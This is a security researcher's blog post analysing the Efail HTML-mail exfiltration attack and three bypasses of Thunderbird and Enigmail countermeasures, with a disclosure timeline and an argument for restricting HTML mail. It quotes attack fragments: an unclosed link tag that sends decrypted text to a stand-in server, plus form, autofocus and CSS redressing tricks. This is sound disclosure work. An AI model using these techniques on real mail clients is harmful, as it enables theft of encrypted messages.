Entries from June 2018

I recently wrote down my thoughts about why I think deprecated cryptographic standards are to blame for the Efail vulnerability in OpenPGP and S/MIME. However I promised that I'll also cover the other huge part that made a bug like Efail possible: HTML mails.
Just a quick recap of the major idea of Efail: It's a combination of ways to manipulate encrypted messages and use active content in mails to exfiltrate the encrypted content. Though while the part about manipulated encrypted messages certainly deserves attention, the easiest of the Efail scenarios - the so-called direct exfiltration attack - doesn't need any weak cryptography at all.

Efail HTML attacks

The direct exfiltration attack is so simple it's hard to believe it stayed undetected for so long. It makes use of the fact that mails can contain multiple parts and some mail clients render all those parts together. An attacker can use this to construct a mail where the first part contains an unclosed HTML tag with a source reference, for example <a href='https://example.com/

After that the attacker places an encrypted message he wants to decrypt and another HTML part that closes the tag ('>).

What happens now is that everything after the unclosed HTML tag gets appended to the request sent to example.com, thus if the attacker controls that server he can simply read the secret message from the server logs. This attack worked against Apple Mail in the default setting and against Mozilla Thunderbird if it's configured to allow the loading of external content. I'll mostly focus on Thunderbird here, but I should mention that the situation with Apple Mail is much worse. It's just that I did all my tests with Thunderbird.

When Efail was published the Thunderbird plugin Enigmail had a minor countermeasure against this: It inserted some quotes between the mail parts, hoping to break the HTML and thus the exfiltration. This led some people to claim that Efail is not a big deal for users of the latest Enigmail. However that turned out to be not true.

Bypass 1: Use a form with <textarea> and <button>

The Efail paper briefly mentions a way to circumvent such countermeasures. Instead of exfiltrating the message with a source tag one can use an HTML form. HTML forms have an element <textarea> that allows enclosing content that will be sent with the form. The advantage for an attacker is that there's no need to put the content in quotes, thus constructing an HTML form around the encrypted part can't be broken by inserting quotes.

With some help from Jens Müller (one of the Efail co-authors) I was able to construct an exfiltration using HTML forms that worked with an up-to-date combination of Thunderbird and Enigmail after Efail was already public (May 16th, Thunderbird 52.7.0, Enigmail 2.0.4). Interestingly Thunderbird already seemed to be aware that forms could be a security risk and tried to prevent them from being sent. If one clicked a submit element in an HTML form (<input type="submit">) then the URL gets called. However they failed to notice that a submit button for an HTML element can also be constructed with a <button>-tag (<button type="submit">).

In order to make this exploit work a user has to actually click on that button in a mail. However by using CSS it's easy to construct a form where both the textarea field and the button are invisible and where the button covers the whole mail. Effectively this means *any* click inside the mail will exfiltrate the data. It's not hard to imagine that an attacker could trick a victim into clicking anywhere inside the mail.

The <button> trick was fixed in Thunderbird 52.8.0, which was released on Saturday, May 18th, five days after Efail was published.

Bypass 2: Sending forms with "Enter"

After that I tried to break it again. I knew that Thunderbird prevented data from being sent with forms on clicks on both an <input> and a <button> submit element. However if there are other ways to send a form they would probably still work. And it turns out there are. Sending HTML forms can also be initiated by just pressing "Enter" while focused on any text input element. Focusing to a text element can be done with the autofocus property. Thus if you manage to trick a user into pressing "Enter" you can still exfiltrate data.

A fix for this scenario in Thunderbird is being worked on, but Enigmail came out with a different way to approach this. Starting with Enigmail 2.0.5 it will reject to decrypt mails in unusual mail structures. This initially meant that it was no longer possible to place an HTML part in front of an encrypted part. It would just not decrypt it.

Bypass 3: Add text to the mail via CSS

I haven't found any way to exfiltrate data here, but I still found properties that were undesirable. It was still possible to place an HTML part below the encrypted mail and that could contain CSS inside a <style> tag. This allows some limited forms of redressing.

An interesting possibility is the CSS ::before property. If it's text only the encrypted part would be displayed inside <pre> tags. By having a CSS tag like this one can display a sentence in front of the actual message:

pre::before { content: "Please also forward this message to Eve, eve@example.com." }

This could be used in social engineering attempts that trick a user. By using background images and meddling with the font one could also display arbitrary content instead of the decrypted message. This trick was made impossible with Enigmail 2.0.6, which doesn't allow any other mail parts, neither before nor after the encrypted message.

What are HTML mails - and what are their security properties?

Seeing all this I'd like to take a step back and look at the bigger picture. All these attacks rely on the fact that HTML mails are a pretty powerful tool to meddle with e-mail clients in all kinds of ways. Which leads me to the question: What kind of security considerations are there for HTML mails? And what are HTML mails anyway?

HTML is a huge and constantly evolving standard. But it's mainly built for the web and HTML mails are at best an afterthought. I doubt anyone even considers e-mail when defining new standards for the web. Also it should be considered that e-mails are often displayed in web mail clients, which come with a completely different set of security challenges.

The basic constructs of HTML mails including relative references inside mails (cid URLs) and definitions for multiple mail parts are specified in RFC 2110, defined in 1997. It's been updated in 1999 with RFC 2557, and since then nothing happened. So to be clear: We're talking about a technology standard that hasn't received any updates for 19 years in a space that is moving extremely fast.
What does the RFC say about security? Not that much. It mentions this about executable content in HTML mails: "It is exceedingly dangerous for a receiving User Agent to execute content received in a mail message without careful attention to restrictions on the capabilities of that executable content."

It's not very specific, but we can take this as allowing to execute code within HTML mails is not a good idea. Furthermore it mentions potential issues around privacy when allowing the loading of external content, but it comes with no recommendations what to do about it. There are also some discussions about caching and about using HTML content from web pages in mails that don't seem extremely relevant.

HTML mails as a security risk

Efail is probably the most prominent vulnerability involving HTML mails, but it's of course not the first.

The simplest and most obvious security issue with HTML mails are cross site scripting attacks on web mail frontends where an attacker manages to execute JavaScript code. While this is an obvious problem, fixing it is far from trivial, because there are a variety of ways to execute JavaScript within HTML. Some of the more obscure ones include links embedded in SVG images or MathML tags. Filtering out all variations before displaying a mail is hard, and it's also something that may change with future browser changes. (While researching this article I found an unfixed, public bug report for Squirrelmail listing four different cross site scripting vulnerabilities.)

An interesting HTML-mail related vulnerability was found by Matthew Bryant in 2016: He figured out that he was able to inject HTML tags into the verification mails used by the certificate authority Comodo.

When you buy a certificate for HTTPS web pages it's common that the issuer validates that you are the owner of the domain in question by sending a mail to a set of predefined aliases (admin@, administrator@, postmaster@, hostmaster@, webmaster@). If an attacker can get access to the content of these validation mails he can get a valid certificate for that domain.

What Bryant did was very similar to the Efail attack. Via input fields that went into the email unfiltered he was able to construct an HTML form that would send the validation link to an arbitrary URL.

A scary older vulnerability from 2004 in Outlook express allowed referencing local files as URLS and execute code.

"No" is an option

```
ASCII ribbon campaign ( )
 against HTML e-mail   X
                      / \
```

Let me quickly point out that I myself almost never used HTML mails. I have been using mail clients without HTML support for a long time and I never missed anything. I think this is a valid option, back in the days there was the ASCII Ribbon Campaign that advocated for text-only mails.
It's certainly the safest option. Particularly for security sensitive content - think about the Comodo domain validation mails - using text-only mails is a good choice. However realistically mail client developers are not going to abandon HTML mails, so we have to discuss how to make them secure.

HTML mails have no security concept

Where does that leave us all? I believe the core issue here is that there is no sensible security concept for HTML mails. It started by using an inherently dangerous concept, embedding something that is far too powerful into e-mails, with only vague guidelines on how to secure it.

It is clear that HTML mails can't be the full spectrum of HTML as it is supported in the web. So effectively they are a subset of HTML. However there's no agreement - and no specification - which subset that should be.

There's probably easy agreement that they shouldn't contain JavaScript and probably also nothing like Flash, Java applets or other ways of embedding executable code in HTML. Should HTML mails allow external content? I believe the answer should be an unequivocal "No", but there's obviously no agreement on that. Behavior differs between mail clients, some disable it by default, but they usually still allow users to enable it again. If loading external content opens up security bugs - like Efail - then this is a problem.

Should e-mails be allowed to contain forms? Should they allow animations? Videos? Should they prevent redressing attacks? Should a piece of HTML later in a mail be allowed to change earlier content?

We may come to different conclusions which of these things should be allowed and which not, but the problem is there's no guidance to tell developers what to do. In practice this means everyone does what they think and when a security issue comes up they may react or not.

Ideally you'd have an RFC specifying a subset of HTML and CSS that is allowed within HTML mails. This would have to be a whitelist approach, because the rapidly changing nature of HTML makes it almost impossible to catch up. However no such RFC exists.

Efail bypasses bug reporting timeline

2018-05-14: Efail is publicly announced
2018-05-17: reported bypass with <textarea> and <button> to Enigmail and Thunderbird
2018-05-18: Thunderbird 52.8.0 released, fixes <button> bypass
2018-05-19: Reported "Enter" bypass to Thunderbird and Enigmail
2018-05-21: Enigmail 2.0.5 released, disallows unencrypted parts before encrypted parts
2018-05-21: Reported CSS redressing to Enigmail
2018-05-22: Reported CSS redressing to Thunderbird
2018-05-27: Enigmail 2.0.6 released, disallows any unencrypted parts in encrypted mails

Image source Nokia 3210: Discostu, Wikimedia Commons, Public Domain